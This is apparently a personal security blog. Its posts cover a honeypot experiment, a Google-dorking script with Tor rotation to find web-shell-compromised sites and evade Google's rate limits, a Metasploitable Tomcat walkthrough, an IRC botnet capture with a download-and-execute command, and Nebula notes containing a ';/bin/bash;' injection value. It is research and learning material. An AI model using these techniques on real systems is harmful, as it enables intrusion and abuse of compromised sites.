Skip navigation

I’ve been using the rather excellent jQuery Chosen plugin for a project. However, I came to a hurdle dealing with disabled options.

The plugin works by taking a given select element, hiding it, and building a new and improved select box with the given data. By default, however, it does not include disabled elements. Once I got to grips with how the plugin works, however, it was a relatively simple fix.

1) The method that adds the select options to the new select object defaults to returning an empty string if the option is disabled.

You can change this to return some custom CSS/HTML for disabled elements. The code is in Chosen.prototype.result_add_option.

2) You need to disable the standard routine for clicked items.

After the variable item is assigned in Chosen.prototype.result_select we can check whether item.disabled is true. If so, return false to abort item selection.

3) The disabled items are always in the search results!

This can be fixed by changing

if(!option.disabled && !option.empty)

in Chosen.prototype.winnow_results to

if(!option.empty)

I haven’t included any proper code snippets since this was a quick hack, but I will consider contributing something to the project on GitHub if I have time. I hope this can be useful to someone anyway.

Advertisements

Over a slow weekend, I decided to make my first attempt at running a Dionaea honeypot to catch some malware samples to play with. Armed with this simple guide and a micro Amazon EC2 instance, the whole thing was up and running in well under an hour. For my first attempt, I stuck with the default configuration. I imagine there’s a lot of improvements and tweaks that I entirely missed.

It didn’t take long to start getting hits, and after three days I stopped. The honeypot had produced a 6.1gb log, and the instance was beginning to complain that there was no space left on the drive to write to. I had managed to snag three binaries:

47b2e95136e660522067221ae405025c
9b9df225dfc4b43c727b9177e9eb0678
fd1fb45d7ca1eeef06f5d46a3e9a3d2f

It had been surveyed by 2387 unique IP addresses over 10 different protocols. However, I found that all three binaries on the system were the responsibility of one hacker (group?), originating from a Ukrainian IP address.

We can see the connections here:

Time                  Protocol      Local Port   Remote IP
2012-09-19 17:43:49   smbd          445          46.119.232.93
2012-09-19 17:43:49   smbd          445          46.119.232.93
2012-09-19 17:43:52   remoteshell   1957         46.119.232.93
2012-09-19 19:15:52   smbd          445          46.119.232.93
2012-09-19 19:15:52   smbd          445          46.119.232.93
2012-09-19 19:15:56   remoteshell   1957         46.119.232.93

And here we have the downloads:

URL                            md5
hxxp://46.120.20.85:12097/x    9b9df225dfc4b43c727b9177e9eb0678
txxp://46.128.183.60/host.exe  fd1fb45d7ca1eeef06f5d46a3e9a3d2f
txxp://46.128.183.60/host.exe  fd1fb45d7ca1eeef06f5d46a3e9a3d2f
txxp://46.128.172.44/host.exe  47b2e95136e660522067221ae405025c

The next interesting point is the urls in the log. The majority of urls captured seemed primarily used for spam. Some quick stats:

3059 mail login attempts
293845 advertisement urls
71 forum registrations

Next up, fun with Kippo.

Original Post: https://bitsmash.wordpress.com/2012/07/29/finding-compromised-hosts-with-the-google-search-api/

As mentioned before, there were some problems with the simple google dorking approach:

  • Google don’t like automated scraping. Though I doubt this qualifies as automated scraping, I do store the results, which may breach the API’s terms of service. Furthermore, after a few searches, the python script set off suspected abuse triggers, and was temporarily blocked from accessing the API.
  • Without automation, doubling the search = doubling the effort. Expansion of the script is definitely required to find more types of shell.
  • Subsequent similar google searches are likely to return a lot of results that you’ve already seen.
  • There are a lot of false positives. I mentioned before that a number of results are people asking for help with compromised machines. Similarly, there are unwanted results like pastebinned copies of the shell source, etc.

Fortunately, all of these problems have solutions. Or a couple, depending on how you feel about sticking to TOS agreements.

Keeping Google Happy: The good way

Google provide several hints for distinguishing your traffic from automated scraping traffic. For applications written in python, java, etc, they recommend adding the “userip” parameter to HTTP requests, including the IP address of the end user making the request.

Keeping Google Happy: The bad way

The problem is, when making large volumes of requests, especially for a fixed set of search terms, it’s still possible to set off abuse triggers, despite making these efforts to follow their TOS. The solution, if honest attempts to distinguish your traffic from fraudulent traffic fail, is to tunnel your requests through enough different proxies that not too many of these requests come from one location.

With Tor and Java, this is easy. When starting Tor through the Tor Browser Bundle, by default, a Tor SOCKS proxy opens on port 9050, and the Tor command channel listens for instructions on port 9051. You can tunnel traffic from a Java program through a SOCKS proxy using the following commands at the beginning of your code:

System.getProperties().put("proxySet", "true");
System.getProperties().put("socksProxyHost", "localhost");
System.getProperties().put("socksProxyPort", "9050");

The command channel on port 9051 can be communicated with by opening a socket connection and piping in data. To tell Tor to use a new route:

// Pseudocode
socket = new Socket("localhost", 9051)
out = socket.getOutputStream()
out.println('AUTHENTICATE "password"');
out.println('SIGNAL newnym');
socket.close()

After a few seconds, Tor will begin routing traffic through a different path, and you can continue scraping with wild abandon.

Scaling Searches

Pretty self explanatory:

// resultCount variable is used in shell search to control result page offset
for (int i = 1; i <= resultCount; i++) {
    getWSOShells(i);
    getR57Shells(i);
    // ... more shell types
}

Trimming The Fat

To ensure that I don’t have to spend any time wading through duplicated results, I had the scraper pile the information into a database. The table only had four columns: Page Title, URL, Shell Type, Date Found. (PageTitle,URL) was a unique index, so attempting to insert a shell that had already been discovered was denied by the database.

Only thing left to do is throw together a pretty stats page for the discovered shells.

Reducing False Positives

This is the only task I have yet to complete. More in depth inspection of the compromised sites (automated or otherwise) isn’t something I’m interested in. One step too far into the ethical grey area.

The moral of the story is that it’s very easy to make a site with an old, out of date CMS, forget about it, and have it compromised without you ever knowing. And it’s even easier for people with worse intentions than me to find your compromised site with zero effort or technical ability and use it for something bad. Be careful what you leave lying around.

The jsp backdoor I mentioned in the last post inspired me to do a little playing around with php backdoors. PHP backdoors range from incredibly simple to extremely elaborate, and can either be independent .php scripts uploaded to a vulnerable server, or inserted directly into a page. The interfaces for some of these shells are quite distinctive, and I thought, surely some of these shells have to have been indexed by search spiders?

Google provides a search API, but it is fairly limited in the number of searches you can perform per day. It only returns a couple results at a time, meaning you have to perform several requests to get a decent number of results per search. The API is also deprecated, so they reserve the right to turn it off at any time.

The shell I’m focusing on for now is the WSO Shell (Web Shell by Orb). Like many shells, it includes a set of server stats along with the command line. A google search for the string of terms “uname user php hdd cwd WSO” currently returns about 12,700 results. The results from the first page are divided into two groups:

  • People asking for help with their compromised servers
  • Websites with the shell interface bang in the middle (bingo!)

I whipped up a pretty shaky python script to do the heavy lifting:

#!/usr/bin/env python

import sys
import httplib
import json

#########
# STRINGS

WSOShell = '/search?btnG=1&pws=0&q=uname%20user%20php%20hdd%20cwd%20WSO'

def usage():
	print "Usage:"
	print "./shelltale.py [mode]"
	print "Modes: --easy, --hard"
	return

def get_json_results(start):
	conn = httplib.HTTPConnection('ajax.googleapis.com')
	conn.putrequest('GET','/ajax/services/search/web?v=1.0&start='+str(start)+'&q=uname%20user%20php%20hdd%20cwd%20WSO')
	conn.endheaders();
	response = conn.getresponse()
	json_data = json.load(response)
				
	results = json_data['responseData']['results']
	
	for i in range(len(results)):
		print "| " + results[i]['titleNoFormatting']
		print "| - " + results[i]['unescapedUrl']

try:
	if(len(sys.argv) > 1):
		if sys.argv[1] == '--easy':
			print "Scraping small result set from json api."
			print "| Results --------------------------------------"
			for i in range(10):
				get_json_results(i*4)
			print "|-----------------------------------------------"
		elif sys.argv[1] == '--hard':
			print "Scraping bigger result set from search."
				#Room for expansion here
		else:
			usage()
			exit()
	else:
		usage()
		exit()
except IOError, e: 
	if hasattr(e, 'code'): # HTTPError 
		print 'http error code: ', e.code 
	elif hasattr(e, 'reason'): # URLError 
		print "can't connect, reason: ", e.reason 
	else: 
        	raise

… and along comes the stream of nicely formatted results.

Extensions to make:

  • Bypass limits/risks of API by making a scraper for regular google search results
  • Add more search strings for other types of shell
  • Tunnel requests through assorted proxies to avoid IPs getting blocked for too many searches
  • Store results in database for easy storage
  • Disclaimer: I didn’t go on any of these sites. Verification of the shell’s presence was performed by checking the preview screenshot Google supplies with the search results. The most responsible use of the information presented here would be to warn website owners that their machines have been compromised.

While browsing Twitter, I saw a link to a startup going by the name of HackAServer. In their own words, “HackaServer is an online marketplace between PenTesters and companies with a IT&C infrastructure that requires pentesting, and aims to lower the costs and deliver the best quality to price ratio for manual penetration tests using crowdsourcing.”

Upon closer inspection, it appears that companies or individuals looking to get their product given a good going over can attach their server(s) to HackAServer’s VPN, kick back while freelance pen-testers break things and write reports, then pay according to HackAServer’s pricing system for the most promising looking report. I see no mention as to how much of this bounty goes to the hard working pen tester. At any rate, it looked interesting enough to warrant signing up for an account.

Access to the machines of paying customers is not immediately accessible to new members. New members first have to prove themselves in the Training Ground, finding vulnerabilities on the sample targets and filing out a report to prove that they’re at least partially skilled. The first on the list of targets? Our good friend Metasploitable. There’s not much to Metasploitable, but it’s a good way to people to cut their teeth on various tools and techniques.

If you’ve ever had a go at it, from here on in will be of little interest to you.

I scanned the host with nmap, and here’s what I learned:

Starting Nmap 5.21 ( http://nmap.org ) at 2012-07-23 17:10 CEST
NSE: Loaded 36 scripts for scanning.
Initiating Ping Scan at 17:10
Scanning 10.1.32.232 [8 ports]
Completed Ping Scan at 17:10, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 17:10
Completed Parallel DNS resolution of 1 host. at 17:10, 0.03s elapsed
Initiating SYN Stealth Scan at 17:10
Scanning 10.1.32.232 [1000 ports]
Discovered open port 53/tcp on 10.1.32.232
Discovered open port 139/tcp on 10.1.32.232
Discovered open port 80/tcp on 10.1.32.232
Discovered open port 3306/tcp on 10.1.32.232
Discovered open port 445/tcp on 10.1.32.232
Discovered open port 23/tcp on 10.1.32.232
Discovered open port 21/tcp on 10.1.32.232
Discovered open port 25/tcp on 10.1.32.232
Discovered open port 22/tcp on 10.1.32.232
Discovered open port 5432/tcp on 10.1.32.232
Discovered open port 8009/tcp on 10.1.32.232
Discovered open port 8180/tcp on 10.1.32.232
Completed SYN Stealth Scan at 17:10, 0.95s elapsed (1000 total ports)
Initiating Service scan at 17:10
Scanning 12 services on 10.1.32.232
Completed Service scan at 17:10, 31.16s elapsed (12 services on 1 host)
Initiating OS detection (try #1) against 10.1.32.232
Retrying OS detection (try #2) against 10.1.32.232
Retrying OS detection (try #3) against 10.1.32.232
Retrying OS detection (try #4) against 10.1.32.232
Retrying OS detection (try #5) against 10.1.32.232
Initiating Traceroute at 17:10
Completed Traceroute at 17:10, 0.03s elapsed
Initiating Parallel DNS resolution of 2 hosts. at 17:10
Completed Parallel DNS resolution of 2 hosts. at 17:10, 0.01s elapsed
NSE: Script scanning 10.1.32.232.
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 17:11
Completed NSE at 17:11, 32.28s elapsed
NSE: Script Scanning completed.
Nmap scan report for 10.1.32.232
Host is up (0.032s latency).
Not shown: 988 closed ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         ProFTPD 1.3.1
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
|_smtp-commands: EHLO metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch)
|_html-title: Site doesn't have a title (text/html).
139/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
| mysql-info: Protocol: 10
| Version: 5.0.51a-3ubuntu5
| Thread ID: 14
| Some Capabilities: Connect with DB, Compress, SSL, Transactions, Secure Connection
| Status: Autocommit
|_Salt: 9QlM{C|fjd6}5.'t:b\*
5432/tcp open  postgresql  PostgreSQL DB
8009/tcp open  ajp13?
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
No exact OS matches for host (If you know what OS is running on it, see http://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=5.21%D=7/23%OT=21%CT=1%CU=38445%PV=Y%DS=2%DC=T%G=Y%TM=500D69A4%P=
OS:i686-pc-linux-gnu)SEQ(SP=C5%GCD=1%ISR=C9%TI=Z%CI=Z%II=I%TS=7)OPS(O1=M558
OS:ST11NW5%O2=M558ST11NW5%O3=M558NNT11NW5%O4=M558ST11NW5%O5=M558ST11NW5%O6=
OS:M558ST11)WIN(W1=16A0%W2=16A0%W3=16A0%W4=16A0%W5=16A0%W6=16A0)ECN(R=Y%DF=
OS:Y%T=40%W=16D0%O=M558NNSNW5%CC=N%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q
OS:=)T2(R=N)T3(R=Y%DF=Y%T=40%W=16A0%S=O%A=S+%F=AS%O=M558ST11NW5%RD=0%Q=)T4(
OS:R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F
OS:=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T
OS:=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RI
OS:D=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Uptime guess: 2.043 days (since Sat Jul 21 16:10:00 2012)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=197 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host:  metasploitable.localdomain; OSs: Unix, Linux

Host script results:
| smb-os-discovery:  
|   OS: Unix (Samba 3.0.20-Debian)
|   Name: WORKGROUP\Unknown
|_  System time: 2012-07-23 17:11:07 UTC-4

TRACEROUTE (using port 199/tcp)
HOP RTT      ADDRESS
1   30.46 ms 10.8.0.1
2   31.07 ms 10.1.32.232

Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 79.30 seconds
           Raw packets sent: 1113 (52.750KB) | Rcvd: 1084 (47.018KB)

We can see this machine is broadcasting a lot of information about itself. I felt like pounding on Apache Tomcat, so I pointed my browser at 10.1.32.232:8180 to see what I could see. The standard Apache Tomcat homepage, with a handy link to the (password protected) management panel. Consulting google, I found that the default username and password for Apache Tomcat was tomcat/tomcat. Fortunately, (or not so, considering this machine is set up to be deliberately vulnerable) these credentials allowed access to the control panel. From here, the Apache Tomcat world was my oyster. Along with being able to modify the user accounts of assorted Tomcat managers, I was able to deploy any java webapp of my choosing! I chose a backdoor shell, giving me much greater control of the system. Unfortunately though, Tomcat was running as an unprivileged user, tomcat55.

At least we can take a look around.

$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/:/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false

There’s us, at tomcat55, and a list of the other users. I’ve said as much as I want to say about Metasploitable, but I will say that strong passwords aren’t a common trait on this system, and many of these are easily brute-forcible.

So I found an interesting site that parsed Twitter feeds for potentially malicious links. Based on the filenames mentioned, it did so with reasonable accuracy. So I did what any sensible person would do: fired up a handy Windows XP VM and followed some links.

The first bit of malware was not difficult to find. A compromised Twitter account has been spamming links for the past week, using the much loved .jpg.exe gambit.

I set wireshark to run, and with bated breath, ran the executable.

3	10.0.2.15	194.168.4.100	Standard query A xx.wshells.ws
4	194.168.4.100	10.0.2.15	Standard query response, No such name
5	10.0.2.15	194.168.4.100	Standard query A bxxxa.wshells.ws
6	194.168.4.100	10.0.2.15	Standard query response A 208.xx.xx.77

Straight away, it made two DNS requests, both looking for subdomains of wshells.ws. wshells.ws offers hosting, shells and IRC services to anyone with a few dollars to spare, per month. Consulting their FAQ, “abusive” botnets are not allowed, but no abuse email is listed on the contact page.

Anyway. As you can see, the response from the DNS lookup was that bxxxa.wshells.ws was located at 208.xx.xx.77. I watched as the program connected to an IRC channel. The MOTD informed me that this was one of 13 botnet servers, running an IRC daemon modified by unKn0wn Crew. A quick google shows that this is a modded version of the popular Unreal IRCd. Doesn’t take much more digging to find the (alleged) source of the modified daemon.

echo "|     UnrealIRCd - Modded by iD [uNkn0wn-Crew]     |"
echo "|          www.uNkn0wn.eu - iD@uNkn0wn.eu          |"
echo "|--------------------------------------------------|"
echo "|     IT IS VERY PRIVATE, SO DO NOT DISTRIBUTE     |"

The server itself seems to be run by a different group.

Irc.D3v1Lz.Com Message of the Day - 
5/4/2012 15:17
###################################################
# ________  ________       ____.____              #
# \______ \ \_____  \__  _/_   |    |    ________ #
#  |    |  \  _(__     \/ /|   |    |    \___   / #
#  |    `   \/       \   / |   |    |___  /    /  #
# /_______  /______  /\_/  |___|_______ \/_____ \ #
#         \/       \/                  \/      \/ #
# __________        __   _______          __      #
# \______   \ _____/  |_ \      \   _____/  |_    #
#  |    |  _//  _ \   __\/   |   \_/ __ \   __\   #
#  |    |   (   )  | /    |    \  ___/   |  |     #
#  |______  /\____/|__| \____|__  /\___   __|     #
#         \/                    \/     \/         #
###################################################
      D3v1Lz BotNet Server, Just Stay Away   
   1 Of 13 BotNet Server Managed By Sh "Opper"
               Testing Server

From what I can tell, the nickname that the malware uses upon connection to the server is of the form:

[?]{[countrycode]|[OS]}[randomisedname]

for example:

a{USA|XPa}qafsffg

After connecting, the following exchange was had:

JOIN #$wsh [pass removed]
:n{GB|XPa}a{USA|XPa}qafsffg@host.name.redacted.com JOIN :#$wsh
:Irc.D3v1Lz.Com 332 a{USA|XPa}qafsffg #$wsh :@nd http://up2x.com/u/1943960303.image001234.exe
:Irc.D3v1Lz.Com 333 a{USA|XPa}qafsffg #$wsh Sp5 1340769512
PRIVMSG #$wsh :[d="hxxp://up2x.com/u/1943960303.image001234.exe" s="387584 bytes"] Executed file "C:\Documents and Settings\Administrator\Application Data\207.exe" - Download retries: 0
:Irc.D3v1Lz.Com 404 a{USA|XPa}qafsffg #$wsh :You must have a registered nick (+r) to talk on this channel (#$wsh)
PING :Irc.D3v1Lz.Com
PONG :Irc.D3v1Lz.Com
PING :Irc.D3v1Lz.Com
PONG :Irc.D3v1Lz.Com
PING :Irc.D3v1Lz.Com
PONG :Irc.D3v1Lz.Com

Wireshark shows that at this time, a DNS request was made to resolve up2x.com, and download 1943960303.image001234.exe, reporting the success back to the control channel. I may analyse the dropped executables in another post. After a few minutes of ping-pong between the VM and the IRC server, I exported the dump, and shut down the VM.

I expect this is an upcoming project of someone’s. The IRC channel was empty except for me, and as the MOTD says, it’s a testing server. Furthermore, the compromised twitter account has only been spamming malware links for about a week.

In order to learn more about the above topic, I’ve been working my way through the Nebula challenge VM found here: http://exploit-exercises.com/

The VM comes packaged as a small linux installation with multiple accounts corresponding to levels. To progress from one level to the next, you need to find a way to exploit some program that runs with the permissions of the next user up, and steal their flag, although all levels are available from the beginning, I can only assume that they’re ordered by intended difficulty. On the off chance anyone actually reads this, I don’t want to include spoilers, but I do intend to document what I have learned.

1) Pay attention to environment variables

In two of the challenges so far, the solution was in the environment variables. In one, the privileged program was running a stock application, but by changing the PATH variable, it was possible to substitute your own booby trapped application for the legitimate one. You could then cause the privileged user to execute your own code.

Another challenge was more direct, calling system() on a string containing an environment variable. If that variable were, for example, to be set to “;/bin/bash;” … Needless to say, this all falls back to one of the golden rules: DON’T TRUST USER INPUT.

2) Pay attention to file/folder permissions

If you keep anything sensitive in your home folder or a subdirectory (*cough* ssh keys *cough*) you need to be pretty sure nobody who should not have access to that file actually does. If they can get your ssh keys, they have a much better shot at logging in as you. You ARE using a strong passphrase, yes?

In fact, none (so far) of these exploits would have been possible if other users’ home directories were off limits.

—————

More thoughts to come as I progress further through the challenges.